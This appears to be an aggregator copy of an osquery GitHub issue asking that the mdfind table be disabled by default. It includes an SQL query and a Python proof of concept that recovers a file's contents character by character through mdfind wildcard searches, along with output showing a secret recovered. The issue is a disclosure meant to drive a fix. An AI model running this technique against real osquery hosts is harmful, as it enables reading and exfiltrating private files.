osquery / osquery/osquery

Disable the mdfind table by default

Open
#5,662 1 comment 2 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

feature question virtual tables
Dominant language
C++
Stars
23.6k
Forks
2.6k
Avg merge
6d 7h
Merged PRs (30d)
14

Description

Feature request

Originally reported by @ostrowr on the osql project.

What new feature do you want?

The mdfind table can be used to read arbitrary files, so it's worth considering disabling the table by default.

How is this new feature useful?

Maintain the osql philosophy that it can't be used to read arbitrary files by default.

How can this be implemented?

Treat the mdfind table like the file carving tables; only activate it with a specific flag.

Details

Wildcards are legal in mdfind, so if I have a target file "secret.txt" I can check if some word in secret.txt started with "A" by checking for "A*" (executing the query below)

select * from mdfind where query = "kMDItemTextContent == 'A*' && kMDItemFSName == 'secret.txt'";

From there, we can derive a list of prefixes and search for AA*, AB*, etc. and repeat until we've derived the whole string.

The Python code below assumes that there's exactly one word indexed by mdfind in some file, but any file can be read using a similar technique. Several queries can be run at once to improve speed, such that sensitive data can be exfiltrated from a computer allowing /distributed/read in just a couple of minutes.

import osquery
import string


printable = string.printable[:string.printable.find('"')]

class FileReader:
    def __init__(self):
        self.instance = osquery.SpawnInstance()
        self.instance.open()

    def read(self, path):
        prefix = ''
        while True:
          print("Prefix so far: {}".format(prefix))
          for c in printable:
              query = r"""select * from mdfind where query = "kMDItemTextContent == '{}*' && kMDItemFSName == '{}'";""".format(prefix + c, path)
              query_result = self.instance.client.query(query)
              if len(query_result.response):
                  prefix += c
                  break
          else:
              break
        print("Final string found: {}".format(prefix))


if __name__ == "__main__":
    f = FileReader()
    f.read("secret.txt")

$ cat secret.txt
1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk50
$ time python read-file-with-osquery.py
Prefix so far: 
Prefix so far: 1
Prefix so far: 1d
Prefix so far: 1d0
Prefix so far: 1d0p
Prefix so far: 1d0pu
Prefix so far: 1d0puz
Prefix so far: 1d0puzt
Prefix so far: 1d0puzt9
Prefix so far: 1d0puzt98
Prefix so far: 1d0puzt988
Prefix so far: 1d0puzt9880
Prefix so far: 1d0puzt9880y
Prefix so far: 1d0puzt9880y2
Prefix so far: 1d0puzt9880y25
Prefix so far: 1d0puzt9880y25q
Prefix so far: 1d0puzt9880y25qq
Prefix so far: 1d0puzt9880y25qqu
Prefix so far: 1d0puzt9880y25qquw
Prefix so far: 1d0puzt9880y25qquwa
Prefix so far: 1d0puzt9880y25qquwam
Prefix so far: 1d0puzt9880y25qquwamc
Prefix so far: 1d0puzt9880y25qquwamcb
Prefix so far: 1d0puzt9880y25qquwamcbz
Prefix so far: 1d0puzt9880y25qquwamcbzn
Prefix so far: 1d0puzt9880y25qquwamcbzng
Prefix so far: 1d0puzt9880y25qquwamcbzng6
Prefix so far: 1d0puzt9880y25qquwamcbzng6j
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2g
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2gu
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6n
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6nd
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndb
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbj
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjp
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa4
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41w
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wt
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtq
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtqu
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk5
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk50
Final string found: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk50
python read-file-with-osquery.py 4.31s user 1.18s system 96% cpu 5.687 total

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by locating the mdfind table implementation and the file carving tables it should match, then trace how their flags are registered and applied. Done means mdfind is unavailable by default, becomes available through a specific flag, and the existing mdfind behavior remains intact when enabled.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp, macos, sql
Domain
databases, security
Issue type
Feature
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.